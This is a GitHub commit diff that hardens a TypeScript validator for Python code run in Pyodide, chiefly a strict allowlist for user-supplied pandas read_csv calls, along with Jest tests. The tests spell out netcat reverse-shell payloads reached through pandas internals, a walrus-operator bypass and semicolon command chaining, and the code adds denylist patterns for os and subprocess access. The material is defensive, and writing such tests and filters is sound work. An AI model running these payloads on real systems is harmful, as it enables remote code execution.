fix: strictly allow only read_csv(data, litera_options) and block exeutable args (#6313)

* fix: strictly allow only read_csv(data, litera_options) and block executable args

* pr

---------

Co-authored-by: Chloe Byun <[email protected]>
This commit is contained in:
chloebyun-wd
2026-05-05 09:56:16 -07:00
committed by GitHub
co-authored by Chloe Byun
parent 3ed4805198
commit d1e876d8bc
2 changed files with 394 additions and 7 deletions
@@ -1,4 +1,4 @@
import { validatePythonCodeForDataFrame } from './pythonCodeValidator'
import { validateCustomReadCSVFunction, validatePythonCodeForDataFrame } from './pythonCodeValidator'
describe('validatePythonCodeForDataFrame', () => {
describe('reported bypass: multi-name import with alias', () => {
@@ -228,6 +228,18 @@ describe('validatePythonCodeForDataFrame', () => {
expect(result.valid).toBe(false)
expect(result.reason).toContain('requests module')
})
it('should block dangerous modules reached through pandas internals', () => {
const result = validatePythonCodeForDataFrame('pd.io.common.os.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('os module')
})
it('should block process execution even if the module was aliased first', () => {
const result = validatePythonCodeForDataFrame('_m.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")')
expect(result.valid).toBe(false)
expect(result.reason).toContain('process execution function')
})
})
describe('reflection dunder attributes are blocked', () => {
@@ -347,3 +359,128 @@ describe('validatePythonCodeForDataFrame', () => {
})
})
})
describe('validateCustomReadCSVFunction', () => {
describe('legitimate read_csv calls pass validation', () => {
it('should allow the default read_csv(csv_data) call', () => {
expect(validateCustomReadCSVFunction('read_csv(csv_data)').valid).toBe(true)
})
it('should allow literal keyword options', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=';', header=0, keep_default_na=False)")
expect(result.valid).toBe(true)
})
it('should allow spaces around keyword equals', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, sep = ';', header = 0)")
expect(result.valid).toBe(true)
})
it('should allow statement separator characters inside string literals', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=';', lineterminator='\\n')")
expect(result.valid).toBe(true)
})
it('should allow literal lists, tuples, and dictionaries for read_csv options', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, usecols=['Name', 'Age'], na_values={'Age': ['NA', '']})")
expect(result.valid).toBe(true)
})
it('should allow spaces around dictionary colons and a trailing dictionary comma', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, na_values={'Age' : ['NA'],})")
expect(result.valid).toBe(true)
})
it('should allow filepath_or_buffer=csv_data as the explicit source', () => {
const result = validateCustomReadCSVFunction("read_csv(filepath_or_buffer=csv_data, encoding='utf-8')")
expect(result.valid).toBe(true)
})
})
describe('code execution bypasses are blocked', () => {
it('should block the reported walrus tuple bypass in the read_csv source argument', () => {
const result = validateCustomReadCSVFunction(
'read_csv((_m := pd.io.common.os, _m.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")))'
)
expect(result.valid).toBe(false)
expect(result.reason).toContain('read from csv_data directly')
})
it('should block dangerous attribute access in read_csv keyword values', () => {
const result = validateCustomReadCSVFunction('read_csv(csv_data, storage_options=pd.io.common.os.environ)')
expect(result.valid).toBe(false)
expect(result.reason).toContain('option values must be')
})
it('should block nested function calls in read_csv keyword values', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=str(','))")
expect(result.valid).toBe(false)
expect(result.reason).toContain('option values must be')
})
it('should block lambda converters in read_csv keyword values', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, converters={'Name': lambda value: value})")
expect(result.valid).toBe(false)
expect(result.reason).toContain('option values must be')
})
it('should block positional arguments after csv_data', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, ';')")
expect(result.valid).toBe(false)
expect(result.reason).toContain('keyword arguments')
})
it('should block empty arguments', () => {
const result = validateCustomReadCSVFunction('read_csv(csv_data,, header=0)')
expect(result.valid).toBe(false)
expect(result.reason).toContain('empty arguments')
})
it('should block a trailing comma', () => {
const result = validateCustomReadCSVFunction('read_csv(csv_data, header=0,)')
expect(result.valid).toBe(false)
expect(result.reason).toContain('empty arguments')
})
it('should block duplicate keyword arguments', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=',', sep=';')")
expect(result.valid).toBe(false)
expect(result.reason).toContain('duplicated')
})
it('should block duplicate filepath_or_buffer when source is named', () => {
const result = validateCustomReadCSVFunction("read_csv(filepath_or_buffer=csv_data, filepath_or_buffer='other.csv')")
expect(result.valid).toBe(false)
expect(result.reason).toContain('duplicated')
})
it('should block filepath_or_buffer override when source is positional', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, filepath_or_buffer='other.csv')")
expect(result.valid).toBe(false)
expect(result.reason).toContain('duplicated')
})
it('should block malformed bracket nesting', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data, usecols=['Name', 'Age')")
expect(result.valid).toBe(false)
})
it('should block top-level semicolon statement chaining', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data); pd.io.common.os.system('id')")
expect(result.valid).toBe(false)
expect(result.reason).toContain('single function call')
})
it('should block overlong custom read_csv input', () => {
const result = validateCustomReadCSVFunction(`read_csv(csv_data, sep='${'a'.repeat(1024)}')`)
expect(result.valid).toBe(false)
expect(result.reason).toContain('1024 characters or fewer')
})
it('should block trailing code after the read_csv call', () => {
const result = validateCustomReadCSVFunction("read_csv(csv_data) or pd.io.common.os.system('id')")
expect(result.valid).toBe(false)
expect(result.reason).toContain('exactly one complete')
})
})
})
+256 -6
View File
@@ -2,14 +2,17 @@
* Validates Python code before execution in Pyodide to prevent remote code
* execution (RCE). Two entry points are provided:
*
* - validateCustomReadCSVFunction allowlist-based check for the user-supplied
* "Custom Pandas Read_CSV Code" field; only a bare read_csv(...) call is
* permitted.
* - validateCustomReadCSVFunction strict allowlist-based check for the
* user-supplied "Custom Pandas Read_CSV Code" field. Only a single
* read_csv(...) call that reads from the pre-bound csv_data variable is
* permitted. Options must be keyword arguments with literal values.
*
* - validatePythonCodeForDataFrame denylist-based check for LLM-generated
* DataFrame operation code.
*
* Both checks must pass before code is handed to pyodide.runPythonAsync().
* These validators are one defence-in-depth layer; Pyodide execution should
* still run with restricted network and filesystem access.
*/
export interface PythonCodeValidationResult {
@@ -49,6 +52,8 @@ const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
{ pattern: /\bsocket\./g, reason: 'socket module' },
{ pattern: /\burllib\./g, reason: 'urllib module' },
{ pattern: /\brequests\./g, reason: 'requests module' },
{ pattern: /\.(?:os|subprocess|sys|socket|urllib|requests)\b/g, reason: 'dangerous module attribute access' },
{ pattern: /\b(?:system|popen)\s*\(/g, reason: 'process execution function' },
{ pattern: /\b__builtins__\b/g, reason: '__builtins__' },
{ pattern: /\b__loader__\b/g, reason: '__loader__' },
{ pattern: /\b__spec__\b/g, reason: '__spec__' },
@@ -71,6 +76,238 @@ const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
{ pattern: /\bclass\s+\w/g, reason: 'class definition' }
]
const READ_CSV_PREFIX = 'read_csv('
const MAX_CUSTOM_READ_CSV_LENGTH = 1024
function skipQuotedString(code: string, startIndex: number): number {
const quote = code[startIndex]
if (quote !== "'" && quote !== '"') return -1
let escaped = false
for (let i = startIndex + 1; i < code.length; i += 1) {
const char = code[i]
if (escaped) {
escaped = false
} else if (char === '\\') {
escaped = true
} else if (char === quote) {
return i + 1
}
}
return -1
}
function expectedClosingBracket(char: string): string | undefined {
if (char === '(') return ')'
if (char === '[') return ']'
if (char === '{') return '}'
return undefined
}
function splitTopLevel(code: string, delimiter: string): string[] | undefined {
const parts: string[] = []
const bracketStack: string[] = []
let start = 0
for (let i = 0; i < code.length; i += 1) {
const char = code[i]
if (char === "'" || char === '"') {
const nextIndex = skipQuotedString(code, i)
if (nextIndex < 0) return undefined
i = nextIndex - 1
continue
}
const expectedClosing = expectedClosingBracket(char)
if (expectedClosing) {
bracketStack.push(expectedClosing)
} else if (char === ')' || char === ']' || char === '}') {
if (bracketStack.pop() !== char) return undefined
} else if (char === delimiter && bracketStack.length === 0) {
parts.push(code.slice(start, i).trim())
start = i + 1
}
}
if (bracketStack.length !== 0) return undefined
parts.push(code.slice(start).trim())
return parts
}
function findTopLevelCharacter(code: string, character: string): number {
const bracketStack: string[] = []
for (let i = 0; i < code.length; i += 1) {
const char = code[i]
if (char === "'" || char === '"') {
const nextIndex = skipQuotedString(code, i)
if (nextIndex < 0) return -1
i = nextIndex - 1
continue
}
const expectedClosing = expectedClosingBracket(char)
if (expectedClosing) {
bracketStack.push(expectedClosing)
} else if (char === ')' || char === ']' || char === '}') {
if (bracketStack.pop() !== char) return -1
} else if (char === character && bracketStack.length === 0) {
return i
}
}
return -1
}
function containsStatementSeparatorOutsideString(code: string): boolean {
for (let i = 0; i < code.length; i += 1) {
const char = code[i]
if (char === "'" || char === '"') {
const nextIndex = skipQuotedString(code, i)
if (nextIndex < 0) return true
i = nextIndex - 1
} else if (char === '\n' || char === '\r' || char === ';') {
return true
}
}
return false
}
function findMatchingClosingParen(code: string, openIndex: number): number {
let depth = 0
for (let i = openIndex; i < code.length; i += 1) {
const char = code[i]
if (char === "'" || char === '"') {
const nextIndex = skipQuotedString(code, i)
if (nextIndex < 0) return -1
i = nextIndex - 1
} else if (char === '(') {
depth += 1
} else if (char === ')') {
depth -= 1
if (depth === 0) return i
if (depth < 0) return -1
}
}
return -1
}
function isQuotedStringLiteral(code: string): boolean {
return skipQuotedString(code, 0) === code.length
}
function areSafeLiteralItems(code: string): boolean {
const parts = splitTopLevel(code, ',')
if (!parts) return false
return parts.every((part, index) => {
if (!part && index === parts.length - 1) return true
return isSafeReadCSVLiteral(part)
})
}
function isSafeReadCSVLiteral(code: string): boolean {
const trimmed = code.trim()
if (!trimmed) return false
if (isQuotedStringLiteral(trimmed)) return true
if (/^[+-]?(?:\d+(?:\.\d*)?|\.\d+)(?:[eE][+-]?\d+)?$/.test(trimmed)) return true
if (/^(?:True|False|None)$/.test(trimmed)) return true
const first = trimmed[0]
const last = trimmed[trimmed.length - 1]
if ((first === '[' && last === ']') || (first === '(' && last === ')')) {
const inner = trimmed.slice(1, -1).trim()
return !inner || areSafeLiteralItems(inner)
}
if (first === '{' && last === '}') {
const inner = trimmed.slice(1, -1).trim()
const entries = inner ? splitTopLevel(inner, ',') : []
if (!entries) return false
return entries.every((entry, index) => {
if (!entry && index === entries.length - 1) return true
const colonIndex = findTopLevelCharacter(entry, ':')
if (colonIndex < 0) return false
const key = entry.slice(0, colonIndex).trim()
const value = entry.slice(colonIndex + 1).trim()
return (isQuotedStringLiteral(key) || /^[+-]?\d+$/.test(key)) && isSafeReadCSVLiteral(value)
})
}
return false
}
function validateReadCSVArguments(args: string): PythonCodeValidationResult {
const parts = splitTopLevel(args, ',')
if (!parts || parts.length === 0) {
return { valid: false, reason: 'read_csv() must receive csv_data as the input source' }
}
const [firstArg, ...remainingArgs] = parts
if (!firstArg) {
return { valid: false, reason: 'read_csv() must receive csv_data as the input source' }
}
const sourceKeyword = firstArg === 'csv_data' ? undefined : 'filepath_or_buffer'
if (sourceKeyword) {
const equalsIndex = findTopLevelCharacter(firstArg, '=')
const firstArgName = equalsIndex >= 0 ? firstArg.slice(0, equalsIndex).trim() : ''
const firstArgValue = equalsIndex >= 0 ? firstArg.slice(equalsIndex + 1).trim() : ''
if (firstArgName !== sourceKeyword || firstArgValue !== 'csv_data') {
return { valid: false, reason: 'read_csv() must read from csv_data directly' }
}
}
const seenKeywords = new Set(['filepath_or_buffer'])
for (const arg of remainingArgs) {
if (!arg) {
return { valid: false, reason: 'read_csv() options must not contain empty arguments' }
}
const equalsIndex = findTopLevelCharacter(arg, '=')
if (equalsIndex <= 0) {
return { valid: false, reason: 'read_csv() options must be keyword arguments with literal values' }
}
const keyword = arg.slice(0, equalsIndex).trim()
const value = arg.slice(equalsIndex + 1).trim()
if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(keyword) || keyword.startsWith('__')) {
return { valid: false, reason: 'read_csv() option names must be plain identifiers' }
}
if (seenKeywords.has(keyword)) {
return { valid: false, reason: 'read_csv() options must not be duplicated' }
}
seenKeywords.add(keyword)
if (!isSafeReadCSVLiteral(value)) {
return {
valid: false,
reason: 'read_csv() option values must be strings, numbers, booleans, None, lists, tuples, or dictionaries'
}
}
}
return { valid: true }
}
/**
* Validates that the given Python code is safe to run in the pandas DataFrame context.
* Call this before passing LLM-generated code to pyodide.runPythonAsync().
@@ -98,19 +335,32 @@ export function validatePythonCodeForDataFrame(code: string): PythonCodeValidati
export function validateCustomReadCSVFunction(code: string): PythonCodeValidationResult {
const trimmed = code.trim()
if (trimmed.length > MAX_CUSTOM_READ_CSV_LENGTH) {
return { valid: false, reason: `Custom read_csv code must be ${MAX_CUSTOM_READ_CSV_LENGTH} characters or fewer` }
}
// Allowlist: must be a single read_csv() call
if (!trimmed.startsWith('read_csv(')) {
if (!trimmed.startsWith(READ_CSV_PREFIX)) {
return { valid: false, reason: 'Custom read_csv code must start with read_csv(' }
}
// No newlines or semicolons — prevents class definitions and multi-statement payloads
if (/[\n\r;]/.test(trimmed)) {
// No statement separators outside strings — prevents class definitions and multi-statement payloads
if (containsStatementSeparatorOutsideString(trimmed)) {
return {
valid: false,
reason: 'Custom read_csv code must be a single function call with no newlines or semicolons'
}
}
const closingParenIndex = findMatchingClosingParen(trimmed, READ_CSV_PREFIX.length - 1)
if (closingParenIndex !== trimmed.length - 1) {
return { valid: false, reason: 'Custom read_csv code must be exactly one complete read_csv(...) call' }
}
const args = trimmed.slice(READ_CSV_PREFIX.length, closingParenIndex)
const argsValidation = validateReadCSVArguments(args)
if (!argsValidation.valid) return argsValidation
// Apply the denylist as a second layer
return validatePythonCodeForDataFrame(trimmed)
}